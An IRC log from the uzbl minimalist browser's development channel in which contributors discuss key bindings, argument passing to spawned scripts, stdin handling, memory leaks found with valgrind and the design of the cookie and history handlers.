22:31 < Phillemann> Hmmm, any ideas on how I could signal an error if a script spawned by uzbl fails (say I try to load a bookmark from a file, but the bookmark/file doesn't exist)?
22:31 < Dieterbe> run uzbl --verbose
22:32 < Dieterbe> you'll see if it returned 0 or higher
22:33 < Dieterbe> i'm off. goodnight all
22:33 < barrucadu> bye
22:34 < Dieterbe> barrucadu: good luck with your further examns
22:34 < barrucadu> :)
22:39 < Phillemann> Ah, now I get it, you cannot pass command line arguments to spawned processes.
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22:48 < peetah> hi all
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22:48 < barrucadu> hi
22:49 < peetah> sorry for a question  that has certainly been asked before: did anyone build a debian package for uzbl ?
22:50 < barrucadu> peetah: Not that I know of
22:50 < oxmoz_> peetah: I plan to package it
22:50 < GGLucas> for a minimalist browser I sure have to go through lengths to get webkit without crappy/bloated gstreamer/gconf dependencies ;)
22:50 < oxmoz_> oh hi GGLucas :)
22:51 < GGLucas> oxmoz_: hello
22:51 < peetah> oxmoz_: great ! will it be available on the uzbl site or elsewhere ?
22:51 < oxmoz_> peetah: on Debian repos
22:53 < duwanis> peetah: debian or ubuntu?
22:53 < peetah> duwanis: debian
22:54 < peetah> oxmoz_: fine, I just have to wait a little bit then... thank you for this future package
22:54 < duwanis> peetah: ok just checking, I just went through installing it on ubuntu-based distro
22:54 < oxmoz_> peetah: but before, uzbl needs a version number and a manpage ;)
23:08 < DuClare> Phillemann, You can
23:09 < Phillemann> DuClare: Hmm, and how do I access them? :)
23:09 < DuClare> Write a bash script and echo stuff
23:10 < DuClare> Show me your spawn line
23:11 < Phillemann> DuClare: It's alright, I understand now how uzbl should be controlled. :)
23:11 < DuClare> I'm telling you, you *can* pass args and I do it myself :]
23:12 < Phillemann> Can I somehow specify Ctrl + b/f to be page up/page down?
23:12 < DuClare> Yup
23:12 < Phillemann> What's the syntax?
23:12 < DuClare> There's no syntax
23:12 < DuClare> Just use the control character
23:13 < DuClare> Umm, well, there's no action for pageup/pagedown, but you can emulate it with scroll
23:13 < DuClare> Kinda. :x
23:14 < Phillemann> How do I enter that in vim?
23:15 < DuClare> ^V^B, ^V^F
23:15 < DuClare> I need to add actions for scrolling a page
23:16 < Phillemann> DuClare: How is scrolling a page different from scroll_vert +- 100?
23:16 < DuClare> It's not a percentage
23:16 < DuClare> Actually, I think it should be made a percentage
23:16 < DuClare> That'd make more sense
23:17 < barrucadu> DuClare: there are now scroll_end and scroll_begin commands
23:17 < DuClare> barrucadu, Yes, I added them
23:17 < _19LIONZ_> oxmoz_: LOL , I was trying to make an argument that the debian devs don't package released Mplayer . It turned out they do . Here is a list of the patches http://patch-tracking.debian.net/package/mplayer/1.0~rc2-17+lenny3 . Scroll down & you'll find a nice patch(to-ffmpeg-free-0.svn20080206.diff)
23:17 < barrucadu> Oh, pageup/pagedown
23:17 < barrucadu> Misread it :p
23:17 < DuClare> Oh
23:18 < Phillemann> Ah. Pageup/down works. :)
23:20 < oxmoz_> _19LIONZ_: lol what a patch
23:20 < DuClare> Should argument vectors end in a NULL element?
23:21 < _19LIONZ_> oxmoz_: I suggest you release uzbl .1 yourself & update it with a (to_latest_git.patch)
23:24 < Phillemann> What's the command to exit insert mode?
23:24 < _19LIONZ_> Phillemann: ESC
23:24 < Phillemann> No...the command in the config file. :>
23:24 < Phillemann> I want to rebind it.
23:25 < _19LIONZ_> Phillemann: there no such a command yet iirc . It's in the TODO list I think
23:25 < barrucadu> Phillemann: There is no command, it's hard coded. There is, however, a command to enable insert_mode. I'll just turn it into a toggle function...
23:26 < Phillemann> Toggle is not so good. I tend to repeatedly hammer on C-c to exit insert mode :D
23:30 < barrucadu> Phillemann: I've committed a toggle function (toggle_insert_mode) to my branch, should I make it accept an optional argument of '1' or '0' to specify on or off?
23:31 < Phillemann> Ah, yes, that would be great.
23:32 < _19LIONZ_> barrucadu: Is it hard to implement both command_mode & toggle_mode ?
23:36 < barrucadu> _19LIONZ_: Implementing the toggling just requires a little editing of the insert_mode function
23:42 < DuClare> An effin' 228 line diff and I'm still not done, getting tired at this hour.. looks like I might put all this in its own branch o_O
23:44 < barrucadu> Phillemann: toggle_status_mode now supports an optional param of 0 or 1 (well, 0 or anything really, it checks if there is a param, and if it is 0)
23:44 < Phillemann> barrucadu: So I have to checkout your branch?
23:44 < barrucadu> yes
23:44 < barrucadu> Or wait until Dieterbe merges it
23:44 < barrucadu> Which will probably be tomorrow some time
23:45 < Phillemann> Okay, then I'll wait. :>
23:45 < Phillemann> But thanks for implementing it so quickly.
23:45 < barrucadu> :)
23:47 < Phillemann> Can I run uzbl and pass it a command which is executed after it has been loaded? For example, I've defined the command "w <foobar>", which searches Wikipedia for a keyword, and I'd like to start uzbl with "uzbl --command "w foobar"" or something.
23:48 < Phillemann> Or am I encouraged to implement the command externally in the first place?
23:48 < barrucadu> Phillemann: Uzbl accepts commands on STDIN, so you could do: echo "command" | uzbl --args
23:49 < barrucadu> I think <.>
23:49 < DuClare> Phillemann, The config file is a list of commands
23:49 < barrucadu> Though it doesn't seem to be working for me :p
23:50 < DuClare> Phillemann, So add the command to the end of the config file
23:50 < DuClare> Oh
23:50 < DuClare> No, you're talking about binds
23:50 < DuClare> You can't make it exec a bind but you can use a command
23:50 < DuClare> If you want it to go to wikipedia, you say ACT uri wikipedia.org
23:51 < DuClare> (Or SET uri = wikipedia.org)
23:51 < Phillemann> Well, yeah, but that's not exactly what I was looking for.
23:51 < DuClare> What are you looking for?
23:52 < Phillemann> I want to execute a bind, like you said. But it doesn't seem to be possible.
23:52 < DuClare> Why do you want to exec a bind?
23:52 < DuClare> You can exec the action the bind would exec..
23:52 < DuClare> What's the difference?
23:53 < barrucadu> DuClare: Any idea why "echo "act uri wikipedia.org" | uzbl -v" doesn't do anything, but "yes "act uri wikipedia.org" | uzbl -v" does? (it makes uzbl freeze, but it does something :p)
23:53 < Phillemann> DuClare: Yes, but then I would duplicate the logic. I'd have "bind w _ = uri en.wikipedia.org/wiki/search?%s" in the config file _and_ a script which does the same thing.
23:53 < DuClare> barrucadu, No idea, known bug though.  Stdin doesn't always work quite asexpected..
23:55 < Phillemann> Would it be hard to add another command which executes a bind? :>
23:55 < DuClare> Phillemann, You have a point, though it's also true that the binds are tied to interactive use and scripts shouldn't depend on them.  But maybe I can extend keycmd to do what you want
23:56 < DuClare> Phillemann, Keycmd almost does it
23:56 < DuClare> Let me add it..
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00:00 < barrucadu> Ha, I've been wondering why $XDG_DATA_HOME/uzbl/cookies is blank, it turns out I don't have zenity installed so the cookie script was dying :p
00:01 < Phillemann> Another question, what is the default cookie management? Are all cookies accepted by default? Where are they stored? :)
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00:02 < barrucadu> Hmm... now the script is dying with error messages...
00:02 < barrucadu> Phillemann: I'd answer if I could :p
00:03 < Phillemann> I'd like to have no stored data at all. No history, no caches (cookies should be accepted, but kept only until the instance is closed). I wonder if that's possible at the moment. :)
00:05 < barrucadu> Aha! I have cookies!
00:06 < barrucadu> Well, sort of. They're not sent off currently, are they?
00:07 < DuClare> Phillemann, Done
00:08 < Phillemann> DuClare: So what's the usage? :>
00:08 < DuClare> keycmdn ZZ
00:08 < DuClare> :>
00:08 < Phillemann> Ah, is it in master?
00:08 < DuClare> Nope
00:09 < Phillemann> Hehe, you make good use of branches ;)
00:09 < DuClare> A two-line commit.  If you're afraid of merging my branch, then add it by hand :x
00:09 < DuClare> http://github.com/DuClare/uzbl/commit/ca7f9a6e5204e58a1bff3b70a25df29d403c6e32
00:09 < barrucadu> You can never have too many branches ;)
00:10 < Phillemann> DuClare: I'm not afraid, I just have to adjust my ebuild. :>
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00:12 < Phillemann> But I think I'll just use uzbl locally, adding it to my $PATH (until you use cmake or something similar).
00:16 < barrucadu> Hmm, it's quarter past 11 and I'm tired, but this looks an interesting thing to implement: "# TODO: ability to attach misc things (spawn <foo>, script <bar>,.. to internal events)" :p
00:16 < barrucadu> Maybe tomorrow
00:17 < DuClare> What are internal events?
00:17 < DuClare> FYI, I'm doing this for handlers right now, though I can't finish it now
00:17 < barrucadu> I would imagine things like when a page loads
00:17 < DuClare> That's a handler
00:18 < barrucadu> ok
00:18 < barrucadu> Awww, my dog is squeaking in his sleep :)
00:18 < DuClare> Wish I had a dog. ♥
00:19 < DuClare> Good night o/ →
00:20 < barrucadu> bye
00:20 < barrucadu> Wait, I've just found a picture of my dog on facebook :p
00:20 < barrucadu> http://www.facebook.com/photo.php?pid=30117368&id=1061757736
00:20 < barrucadu> ^^
00:26 < DuClare> Meh, it's not loading
00:28 < barrucadu> :(
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00:30 < barrucadu> I think I'll go offline and read for a bit now, bye
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00:31 < rob|> i guess the stdin bug is fixed with http://github.com/robm/uzbl/commit/086501b870594278ad2f924b3458ddfaab678f23
00:32 < rob|> all variations seem to work now, without drawbacks
00:39 < rob|> test with:  echo "set status_message = It worked" | uzbl < examples/config/sampleconfig
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00:51 < Toy-Food> Hi. Whenever I start uzblctrl it immediately crashes. :P
00:51 < Toy-Food> Says this in terminal:
00:51 < Toy-Food> warning: Lowest section in /usr/lib/libicudata.so.40 is .hash at 000000b4
00:53 < rob|> yeah, nobody took care of that since some time.
00:54 < Toy-Food> Ah
00:54 < rob|> i'd recommend to use the fifo, it is better supported as of now
00:54 < Toy-Food> What is uzblctrl supposed to do?
00:55 < rob|> send comnmands to uzbl over a unix socket
00:55 < Toy-Food> Ok
00:57 < rob|> http://omploader.org/vMW95Mw  :)
01:05 < Toy-Food> How can I get a URL bar? It's one of the few things bugging me. :P
01:06 < rob|> well, there are multiple way of doing that (e.g. using dmenu), see the example configs+scripts
01:06 < rob|> *ways
01:06 < rob|> or just use the 'o url' binding
01:20 < Masca> rob|: I didn't get to use your dmenu history script. =(
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02:53 < Masca> how do I bind <C-e> in the config file?  CONTROL e ?
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08:19 < rob|> morning.
08:20 < ruskie> lo
08:58 < rob|> fixed add_binding(), (re-)binding the same sequence multiple times works as expected now
09:14 < Dieterbe> morning bitchizzz
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09:23 < Dieterbe> DuClare: you can always do "xdotool focus .. && xdotool type .. " to mimic typing in a keyboard shortcut
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09:26 < Dieterbe> heya rob| 
09:29 < Dieterbe> rob|: http://omploader.org/vMW95Mw what should we see here that we haven't seen before? the status message?
09:31 < rob|> nothing particular, just liked the look
09:31 < Dieterbe> oh ok :)
09:31 < Dieterbe> yeah it looks nice
09:32 < Dieterbe> too bad you cannot control the colors of the "input string prefix" and the selected item in dmenu-vertical separately
09:34 < rob|> btw, stdin should also work as expected now. we didn't need the HUP handling in there
09:42 < Dieterbe> i see
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10:02 < Dieterbe> i wish i could code on uzbl :P
10:02 < Dieterbe> instead of work :P
10:10 < ruskie> http://www.theregister.co.uk/2009/05/16/mozilla_labs_tabs_challenge/ <-- only if you use the stupid horizontal line...
10:14 < Dieterbe> hmm you can't win anything with it? like a cash prize or something? :P
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10:35 < DuClare> Dieterbe, I'll keep that in mind.  But I added keycmdn since we already have keycmd and it was a two-line fix :)
10:35 < seppo0010> Hello World
10:35 < DuClare> Hi seppo0010
10:36 < DuClare> And good morning everybody
10:36 < seppo0010> hi, good morning to u 2
10:36 < seppo0010> I was ust checking out the arch forum and I found out about this browser
10:36 < seppo0010> awesome idea
10:38 < Dieterbe> DuClare: looks good
10:39 < Dieterbe> DuClare: easier then xdotool ;)
10:39 < DuClare> Mmm
10:39 < DuClare> In theory we could get rid of both keycmd and keycmdn and use xdotool :>
10:39 < DuClare> I think.
10:40 < Dieterbe> hmmm there's an idea
10:42 < DuClare> I wonder what package xdotool comes from..
10:42 < DuClare> I don't have it
10:43 < Dieterbe> community/xdotool
10:43 < Dieterbe> though there is also one in AUR (which is what i have installed)
10:48 < Dieterbe> DuClare: hmm but i don't think you can send input with xdotool without focusing the app
10:49 < DuClare> Ah
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11:02 < DuClare> ruskie, Hehe.  Let these people waste time on tabs. :)
11:03 < DuClare> I would like to say we're sort of enlightened in that regard.. ^^;
11:03 < ruskie> :)
11:09 < Dieterbe> agreed :)
11:09 < Dieterbe> however if there would be a cash price i would like to send them how we will do it in uzbl :P
11:11 < DuClare> I bet they're too closed minded to accept our solution :]  I mean, wtf, if there are tabs then they must be in the browser, right!!??
11:11 < DuClare> :]
11:11 < DuClare> Or "people don't want to use good window managers" :]
11:13 < Dieterbe> no, the problem with WM's is, they can't really have "insight" in specific properties of the windows (such as url of open page, state (viewed, loaded, loading etc))
11:14 < Dieterbe> so the best solution (what we will implement) is something between "inside the app" and the WM
11:14 < Dieterbe> an external script you can add on top of uzbl and which is tailored specifically towards it, so it can use the page titles, page states etc
11:15 < Dieterbe> but yeah, by the time the mozilla guys have figured out there a world outside their bloatware world...
11:15 < DuClare> Uzbl seemed to gather lots of attention.. I bet it's because we're doing something different :|
11:16 < Dieterbe> how do you mean "lots of attention" ? there is a bit of talk here and there but it could be better :)
11:17 < DuClare> Well
11:18 < DuClare> We have 44 nicks on the channel and the project has been up for what.. a month?
11:19 < DuClare> And people are constantly informing about their desire to help :)
11:20 < Dieterbe> yeah, but i want uzbl to be featured on slashdot or something :P i mean we are revolutionizing the browser concept ;)
11:21 < DuClare> Hehe.. well, I'd like that too, but not just yet :)  I still feel uzbl is too incomplete, even if it already is very powerful
11:22 < Dieterbe> ok, let's say a month from now then :)
11:33 < DuClare> 1) Let's not move the user provided args to the end of the command line because this doesn't work with handlers that automatically add some args because they'd first have to splice the line, extract the command and the user args and reconstruct it sticking its own args before the user args  2) Let it work like this, i.e. with handlers, user set come before the handler specific args, but with normal non-handler spawn user args will ...
11:33 < DuClare> ... come at the end as expected
11:36 < DuClare> Dieterbe, ^
11:36 < Dieterbe> yeah..
11:36 < Dieterbe> i'm reading at a few times over and over again. hold on
11:37 < Dieterbe> so for a handler you propose : common args (fifo, config file etc), user args, handler-specific args ?
11:40 < DuClare> Yeah, that's the way it works now in my branch
11:42 < DuClare> Though now that I think of it, putting them at the end might not be as hard as I thought
11:43 < Dieterbe> but you're talking about handlers the whole time.. my main point of concern was the argument order for things launched through the 'spawn' and 'sh' actions
11:43 < DuClare> Dieterbe, I can do set history_handler = spawn "/home/duclare/.uzbl/tes t.sh" "foo 1" "\"foo 2\""
11:44 < Dieterbe> oh, right
11:45 < Dieterbe> the thing is , when people start sharing handler scripts, it's useful if they don't have to modify the "normal" parameters inside the script when they add a personal argument
11:45 < DuClare> Yeah
11:45 < Dieterbe> eg adding personal arguments should not affect the "normal" arguments
11:45 < Dieterbe> that's why i prefer having all the personal ones at the end
11:45 < rob|> hmm, just did a valgrind memcheck and we have a couple of leaks that still need fixing
11:45 < DuClare> Yup.  I might have a solution for it :)
11:46 < Dieterbe> DuClare: so we can discard your complicated explanation above? :P
11:48 < DuClare> Hopefully yeah.  It'll be a slight bit fugly but should be doable
11:49 < Dieterbe> :)
11:49 < Dieterbe> so: common args, handler specific, user args
11:50 < Dieterbe> can't you achieve this easily by taken the string as configured by user, and doing g_strsplit (or something) (str, " ", 2);
11:50 < Dieterbe> res[0] = command, res[1] = user args
11:50 < Dieterbe> (eg that's what i did in the code i eventually commented out again)
12:12 < oxmoz_> morning guys
12:13 < Dieterbe> heya oxmoz_ 
12:27 < DuClare> Hooray, I think it works.
12:28 < DuClare> :$set history_handler = spawn "/home/duclare/.uzbl/tes t.sh" "foo 1"
12:28 < DuClare> reload
12:28 < DuClare> 9: /home/duclare/.uzbl/pc2.conf 24015 96469025 /tmp/uzbl_fifo_96469025  http://www.ohjelmointiputka.net/ Ohjelmointiputka 2009-05-18 13:26:26 foo 1
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12:43 < rob|> btw, i started fixing the leaks. please be a bit more carfeul with the usage of functions that return allocated memory
12:45 < DuClare> I think I'm being pretty careful but it's always possible I forget something. :)
12:58 < DuClare> rob|, Dieterbe: Hmm, does shell_cmd really need the %s part?  I think it'd simplify things a little if we made it simply a prefix string, and make it automatically add the spacer arg to keep the normal args from moving..
12:59 < DuClare> Actually, I'll just do that
12:59 < DuClare> That's what other progams do too
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13:35 < Phillemann> Hmmm, of the 6 pages I just opened in uzbl instances, only _one_ was completely loaded.
13:35 < Phillemann> The others are blank.
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13:45 < wraith0x2b> こんにちは dudes
13:45 < wraith0x2b> anyone alive?
13:50 < DuClare> Yup.
13:54 < wraith0x2b> ok so I have uzbl working for the first time
13:55 < wraith0x2b> 1: font is really messed up
13:55 < DuClare> Messed up in what respect?
13:55 < wraith0x2b> 2. I hit F and get the link numbers, but then pressing the number does not work
13:55 < DuClare> Because it's not done to work that way
13:56 < DuClare> Hit F, then f<number><return>
13:56 < wraith0x2b> messed up as in looks like http://omploader.org/vMXAyZA/2009-05-18-145331_1280x1024_scrot.png
13:56 < wraith0x2b> why is the second f neccesary?!
13:56 < Phillemann> Well, webkit can be configured to use either freetype or pango.
13:57 < Phillemann> pango is said to sometimes produce pretty ugly fonts.
13:57 < DuClare> wraith0x2b, Because somebody wrote it like that!
13:57 < DuClare> You're not forced to use it
13:57 < Phillemann> DuClare: Are you able to access the "Google calendar" page? It's on google.com/calendar
13:57 < wraith0x2b> Phillemann: I have to configure webkit to get this display normal fonts?!
13:58 < Phillemann> It just doesn't load here. When I enter "o google.com/calendar", _nothing_ happens.
13:58 < wraith0x2b> DuClare: ok WHERE is that written then? all I did was copy the config to my ~/.config/uzbl dir
13:58 < DuClare> Phillemann, Yup
13:58 < DuClare> wraith0x2b, In the config
13:58 < Phillemann> DuClare: Then something's wrong with my uzbl. Which version of webkit do you have?
13:59 < wraith0x2b> so how do I go about in setting up webkit to display fonts as it should?!
13:59 < DuClare> 1.1.4
14:00 < Dieterbe> heya wraith0x2b :)
14:00 < Phillemann> DuClare: Uhm, my version numbers look like "0_p42162" :>
14:00 < DuClare> room Dieterbe :>
14:00 < DuClare> Phillemann, Same
14:00 < Phillemann> Interesting.
14:00 < DuClare> I think I sent you the ebuild :p
14:00 < wraith0x2b> こんにちは Dieterbe
14:00 < DuClare> So presumably we're running the same version
14:00 < Phillemann> DuClare: Ah, yes, that was you. :>
14:01 < Phillemann> DuClare: Which USE-Flags do you have?
14:01 < wraith0x2b> btw suckless site is down...considering hosting dmenu-vertical somewhere any of you? or atleast upload a patched source for me :)
14:02 < Dieterbe> wraith0x2b: what does "こんにちは" mean?
14:02 < DuClare> Just a greeting
14:02 < DuClare> "Good day"
14:02 < wraith0x2b> Dieterbe: hello or good afternoon
14:02 < wraith0x2b> konnichiwa ^^
14:02 < DuClare> Phillemann, gstreamer, sqlite, svg
14:02 < DuClare> konnichiha
14:03 < wraith0x2b> DuClare: no, you write ha but it's read wa :)
14:03 < DuClare> I know.
14:03 < wraith0x2b> lies
14:03 < DuClare> You write ha so I write ha
14:03 < Phillemann> DuClare: Ok, I've got all of them except gstreamer.
14:03 < wraith0x2b> well you write ha when in kana writing...romanji uses wa
14:03 < Phillemann> How does webkit use gstreamer?
14:04 < wraith0x2b> so can anyone share a patched vertical dmenu source?
14:04 < Dieterbe> --> if anyone knows more specifics about the font stuff (or anything else for that matter) , you can let me know to put it in the FAQ (or if there is a way to fix it..)
14:04 < DuClare> Phillemann, No clue
14:04 < Phillemann> DuClare: I'll re-emerge webkit with gstreamer just to be sure.
14:05 < wraith0x2b> Dieterbe: so none of you know how to configure webkit to display those damn fonts like it should?
14:05 < Phillemann> DuClare: Hmmm, or maybe you could send me your configuration file, then we'd basically have the _same_ system.
14:05 < wraith0x2b> btw shoudln't :o somesite.com <Return> open somesite.com? doesn;t seem to work
14:05 < Phillemann> wraith0x2b: Just o, not :o
14:06 < DuClare> Phillemann, http://hikari.serveftp.org/pc2.conf
14:06 < Phillemann> You could rebind it, however.
14:06 < wraith0x2b> bt that's not at all vim-like :(
14:06 < Phillemann> wraith0x2b: Yes, that's what I thought, too. But as I said, it's configurable.
14:06 < wraith0x2b> true
14:06 < DuClare> wraith0x2b, The point is, the sample config is a sample. An EXAMPLE.  It shows how to do things.
14:07 < wraith0x2b> DuClare: the sample config should contain good defaults
14:07 < DuClare> There are no good defaults
14:07 < wraith0x2b> ti so with any respectable application
14:07 < DuClare> What's good for you sucks for me
14:07 < DuClare> And the other way around
14:07 < wraith0x2b> lies
14:07 < Dieterbe> actually we will have support for some reasonable defaults in the near future
14:08 < DuClare> They still won't be good :)
14:08 < Phillemann> DuClare: Okay, same problem with your configuration file.
14:09 < Dieterbe> DuClare: true, but they will keep some people from complaining :P
14:10 < DuClare> Dieterbe, Some.  And the others will complain how the defaults suck and want more or want "better".  It's a never-ending loop
14:10 < rob|> http://github.com/robm/uzbl/commit/d91b739ef7d5635468c646d6d4f41b30da178edf  this should fix all leaks besides some webkit ojbect related ones
14:10 < Phillemann> I don't think that adding +gstreamer to webkit-gtk will solve the problem.
14:10 < Phillemann> DuClare: Do you use xmonad?
14:10 < DuClare> Phillemann, I do
14:10 < rob|> will look into those later
14:11 < Phillemann> DuClare: Damn. Where's the difference between our configurations? ;)
14:12 < DuClare> rob|, What's wrong with *p = init_(fifo|socket)?
14:12 < Phillemann> gcc-4.4? :>
14:12 < Dieterbe> rob|: "this should fix all leaks besides some webkit ojbect related ones" <-- you mean in webkit itself, or in the way we use the webkit library?
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14:13 < DuClare> rob|, Read the comment at  the beginning of init_fifo : it returns dir or frees it and returns null.  Nothing is lost
14:15 < rob|> DuClare: init_... return a null pointer on error, we can't free that one in set_var_value
14:17 < DuClare> We don't need to free it in set_var_value
14:17 < Phillemann> It seems like webkit opens www.google.com/calendar, gets a redirection and then gets no data.
14:17 < wraith0x2b> hm apparently my font issues were caused by the zooming. if I zoom in once or twice I get ok fonts
14:17 < DuClare> rob|, if (*p) free (*p)
14:17 < Phillemann> It hangs at: poll([{fd=3, events=POLLIN}, {fd=4, events=POLLIN}, {fd=7, events=POLLIN}, {fd=8, events=POLLIN}, {fd=0, events=POLLIN}], 5, -1
14:17 < DuClare> rob|, It frees if it's not null..
14:18 < DuClare> rob|, So if init_fifo sets it to null, nothing is lost and nothing needs to be freed
14:18 < Phillemann> You can free 0, it's defined and just doesn't do anything. Just by the way.
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14:18 < Phillemann> Eh...NULL.
14:19 < rob|> hmm, yeah. though i had an invalid free if fifo_dir could not be created (due to a segfault of a previous instance)
14:20 < DuClare> It frees at the end if there was an error
14:20 < DuClare> I wrote init_fifo
14:20 < rob|> right, still it gave the above error according to valgrind
14:20 < DuClare> Oh?
14:20 < DuClare> Hm.
14:22 < rob|> ==5556== Invalid free() / delete / delete[]
14:22 < rob|> ==5556==    by 0x804DC04: init_fifo (in /home/robert/proggen/uzbl/uzbl)
14:22 < rob|> ==5556==    by 0x5252B45: g_free (in /usr/lib/libglib-2.0.so.0.2000.1)
14:22 < rob|> ...
14:25 < rob|> oh and i meant in the way we are using webkit
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14:25 < Dieterbe> k
14:26 < Dieterbe> (finally :P)
14:26 < DuClare> I'm getting almost done
14:29 < rob|> with?
14:32 < DuClare> My "quotes" branch
14:33 < DuClare> Which adds quotation support for spawn & sh and extends handlers so they can run any action
14:33 < Dieterbe> don't forget to document it a bit, so i know how it works when merging in
14:34 < DuClare> Yup
14:35 < DuClare> http://dpaste.com/45246/
14:35 < DuClare> Is that normal output for the example history script?
14:36 < Dieterbe> looks good to me
14:36 < Dieterbe> except the entries "uzbl.org " maybe, who don't have titles?
14:37 < DuClare> How should they appear?
14:37 < DuClare> Did they appear like that before?
14:39 < udarnik> thanks for uzbl, all.  Dumb Q: can I bind function keys?
14:39 < rob|> btw, not sure when this was introduced but we seem to have a bug with "uzbl --uri foo", i.e. the uri won't load
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14:39 < DuClare> rob|, You have default_uri (or whatever it was) in config?
14:41 < Dieterbe> yeah it's probably because of the config coming in
14:41 < rob|> no, don't have that
14:42 < Dieterbe> DuClare: they should appear as "date time url title" IIRC. check your history script to be sure
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14:45 < DuClare> Emm, I can't reproduce it anymore -_-
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14:46 < barrucadu> hi
14:46 < DuClare> Maybe it just works.
14:47 < rob|> well, i guess it's due the calling of load_uri() im main at a too early point
14:48 < Dieterbe> ah, i did rearrange some functions in main()
14:48 < Dieterbe> settings_init happens a bit later then it did before
14:48 < barrucadu> And there was me thinking nobody would be online at this time...
14:49 < Dieterbe> but either way, if settings_init would cause a change in the url, this would be reflected by a new page load anayway
14:50 < rob|> i rearranged it again
14:50 < rob|> though it's still not optimal
14:51 < DuClare> Crap..
14:52 < DuClare> Hmm
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14:54 < DuClare> This cookie handler is causing some trouble :x
14:56 < DuClare> Dieterbe, Does it matter if I don't make the cookie handler use the new system yet?
14:57 < Dieterbe> DuClare: uuh.. i guess i could rearrange the arguments in the config myself too, if that's what you mean
14:58 < DuClare> No rearranging needed, but cookiehandler isn't quite as simple to port
14:58 < Dieterbe> why not?
14:58 < DuClare> I think we'd need a new action like spawn_async, a global pointer to the stdout, ...
14:58 < DuClare> Right now the handlers are invoked via parse_command which doesn't return anything
14:58 < DuClare> And you can't pass stdout to it
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15:01 < Dieterbe> yeah, because they are async
15:01 < DuClare> Yep
15:01 < Dieterbe> you want to be able to launch proccesses "sync" in a different thread then?
15:05 < Dieterbe> besides, if this is still about the cookie handler: you _need_ to call it synchronously
15:05 < Dieterbe> cause you depend on it's output to do the http request
15:07 < DuClare> A global stdout pointer + spawn_sync could work
15:07 < DuClare> Yes, I meant spawn_sync, not spawn_async <,<
15:07 < DuClare> parse_command calls spawn_sync, spawn_sync calls run_command with the global stdoutptr, gets the output, returns, parse_command returns and by then the cookie hdler could inspect the output via the global stdout ptr
15:07 < DuClare> That'd be the most straightforward implementation I can think of
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15:10 < Dieterbe> duclare come back :(
15:10 < barrucadu> :(
15:12 < Dieterbe> barrucadu: how was the exam today?
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15:13 < barrucadu> Dieterbe: No exams today, nor tomorrow. I have 2 on Wednesday though
15:14 < DuClare> Dieterbe, http://hikari.serveftp.org/connection_fail.txt
15:14 < Dieterbe> DuClare: the issue is, for some handlers we don't care about the output at all (eg history handler, download handler etc). for others we _need_ the output (eg cookie handler)
15:14 < Dieterbe> DuClare: so the first type we can run async just fine, but the ones like the cookie handler must be sync
15:14 < Dieterbe> barrucadu: aha ok
15:15 < DuClare> Yes, I know
15:15 < Dieterbe> DuClare: so it depends on handler per handler imho, there's no "one size fits all"
15:15 < rob|> DuClare: did you investigate if there is anything special to freeing a "WebKitWebSettings*"?
15:15 < rob|> DuClare: you use it to set def./min. font sizes but never free it
15:15 < DuClare> rob|, I didn't create it so I assume I don't need to free it
15:16 < DuClare> It exists within webkit_session
15:16 < DuClare> Or view
15:16 < DuClare> Whatever
15:16 < Dieterbe> DuClare: it would be a waste to run something sync and then discard it's output.. unless.. maybe if we do it in a separate thread
15:16 < DuClare> Dieterbe, See my paste
15:17 < rob|> oh, ok
15:17 < rob|> webkit docu is sparse :(
15:17 < DuClare> Where does the example cookie script store the cookies?
15:17 < Dieterbe> uhh.. look in the script, i don't remember. note that the script doesn't work too well yet
15:18 < barrucadu> ./examples/data/cookies.txt
15:18 < DuClare> Meh, I don't see such a file
15:19 < DuClare> Oh
15:19 < DuClare> Nm
15:20 < Dieterbe> DuClare: i think your explanation is quite complicated and i don't really understand what you're saying.  but remember that the specific handlers are called in specific places (eg log_history_cb calls history_handler), so we just need to call spawn_sync or _async, whichever is best for the specific handler
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15:26 < barrucadu> I just noticed that parse_cmd_line() discards lines that start with whitespace - is this desired behaviou
15:26 < barrucadu> *behaviour
15:26 < rob|> yes
15:26 < barrucadu> Ok... why?
15:27 < rob|> that makes it easy and fast to ignore whitespace only lines
15:28 < barrucadu> So should I remove my patch using g_strstrip() then? :p
15:28 < rob|> probably
15:28 < barrucadu> right
15:30 < rob|> also, be cautious with using g_strdup, g_strsplit and such as arguments to functions. in most cases such constructs lead to memory leaks
15:33 < Dieterbe> that reminds me rob| , suppose foo() returns dynamic memory.  should we do: a = foo(); bar(a); g_free(a); or: bar(foo()); bar(a) { <blah>; g_free(a); }
15:34 < rob|> imo the former
15:35 < DuClare> PIN
15:35 < DuClare> PING :x
15:35 < Dieterbe> yeah seems like that's what usually it's done, but when you call bar()/foo() a lot it means you duplicate the assignment/freeing code in a lot of places
15:35 < Dieterbe> DuClare: PONG
15:35 < DuClare> Called ./examples/scripts/cookies.sh examples/configs/sampleconfig-dev 20497 85983265 /tmp/uzbl_fifo_85983265 /tmp/uzbl_socket_85983265 http://www.uzbl.org/ Uzbl - the uzbl browser. GET www.google-analytics.com /__utm.gif.  Result: TRUE
15:36 < DuClare> But I see no data!
15:36 < DuClare> What's wrong?
15:36 < Dieterbe> DuClare: what do you want to see?
15:36 < rob|> Dieterbe: that's better than strduping all the time
15:36 < DuClare> Dieterbe, I wanna know I haven't broken the cookie handler
15:37 < DuClare> So I'm expecting to see examples/data/cookies.txt
15:38 < Dieterbe> DuClare: well, the script is not done yet, it could be that i've even put an 'exit' at the top to prevent any problems
15:38 < Dieterbe> not sure anymore
15:38 < DuClare> Well, if the arguments it's called with look fine, then I suppose I haven't broken it
15:39 < Dieterbe> well i hope "Uzbl - the uzbl browser" is one argument (it used to put quotes around it so it was more visible)
15:39 < Dieterbe> other then that, looks good
15:39 < DuClare> It is one argument
15:40 < DuClare> http://hikari.serveftp.org/calling_cookies.txt
15:41 < Dieterbe> ok good
15:41 < Dieterbe> can you make it so that it shows quotes ?
15:41 < Dieterbe> that you can see that it's one argument
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15:41 < DuClare> With some trouble.  IMHO not worth it.  But we could use something else than space as a separator, which should have the same effect
15:42 < DuClare> Perhaps " | "
15:42 < Dieterbe> ugh..
15:42 < Dieterbe> can't you do it with the glib shell parse stuff functions?
15:43 < DuClare> It has nothing to do with that
15:43 < DuClare> It's an argument vector (i.e. array of strings) and on verbose, the strings are joined with a separator
15:44 < DuClare> http://hikari.serveftp.org/calling_cookies2.txt
15:44 < DuClare> How's that
15:46 < Dieterbe> it's ugly :P
15:46 < Dieterbe> and ' :: ' often appears in page titles
15:46 < DuClare> Anything more is overkill for a debug message you're only going to see when you need to use verbose :x
15:51 < Dieterbe> i don't want more.. i want less
15:51 < Dieterbe> the string shown to the user must look correct so that you will know what will happen when a shell *interprets* it
